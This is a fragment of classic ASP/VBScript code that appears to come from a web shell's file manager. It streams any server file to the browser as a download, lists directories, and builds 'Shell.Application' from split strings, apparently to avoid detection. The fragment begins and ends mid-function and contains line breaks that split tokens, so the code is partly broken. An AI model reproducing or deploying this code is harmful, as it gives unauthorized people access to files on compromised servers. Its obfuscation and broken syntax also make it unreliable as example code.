tContentType = "video/x-ms-asf"
Case "avi"
GetContentType = "video/avi"
Case "doc"
GetContentType = "application/ms
word"
Case "zip"
GetContentType = "application/zip"
Case "xls"
GetContentType = "application/vnd.ms-excel"
Case "gif"
GetContentType = "image/gif"
Case "jpg", "jpeg"
GetContentType = "image/jpeg"
Case "wav"
GetContentType = "audio/wav"
Case "mp3"
GetContentType = "audio/mpeg3"
Case "mpg", "
mpeg"
GetContentType = "video/mpeg"
Case "rtf"
GetContentType = "application/rtf"
Case "htm", "html"
GetContentType = "text/html"
Case "txt"
GetContentType = "text/plain"
Case Else
GetContentType = "application/octet-stream"
End Select
End Function
Function GetFileTypeName(FldName)
If InStr(FldName, ".") > 0 Then
Dim FiNameStr
FiNameStr = Split(FldName,".")
GetFileTypeName = Lcase(FiNameStr(UBound(FiNameStr)))
Else
GetFileTypeName = "unknow"
End If
End Function
SUB UseStream(FileName,FileNameString)
Dim FileStream,File,FileContentType,IsAttachment
Call CSTM(FileStream)
FileStream.Open
FileStream.Type = 1
File = FileName
FileStream.LoadFromFile(File)
FileContentType = GetContentType(FileName)
IsAttachment = "attachment; "
Response.AddHeader "Content-Disposition", IsAttachment &; "filename=" &; FileNameString 'attachment;
Response.AddHeader "Content-Length", FileStream.Size
Response.Charset = "UTF-8"
Response.ContentType = FileContentType
Response.BinaryWrite FileStream.Read
Response.Flush
FileStream.Close
Set FileStream = Nothing
End SUB
Function CreateProgID(Var1,Var2)
CreateProgID = Var1 &; "." &; Var2
End Function
Function bin2str2(binstr)
Dim BytesStream,StringReturn
Call CSTM(BytesStream)
With BytesStream
.Type = 2
.Open
.WriteText binstr
.Position = 0
.Charset = "GB2312"
.Position = 2
StringReturn = .ReadText(.Size)
.close
End With
Set BytesStream = Nothing
bin2str2 = StringReturn
End Function
SUB GetFolder(FolderName)
dim FileContent,FileNameString
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set fod
items=fod1.items
for each co in foditems
If co.isfolder Then response.write "
[ " &; Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"\",""),"/","") &; "] " &;
VBCRLF
next
End If
End SUB
SUB GetFiler(FolderName)
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)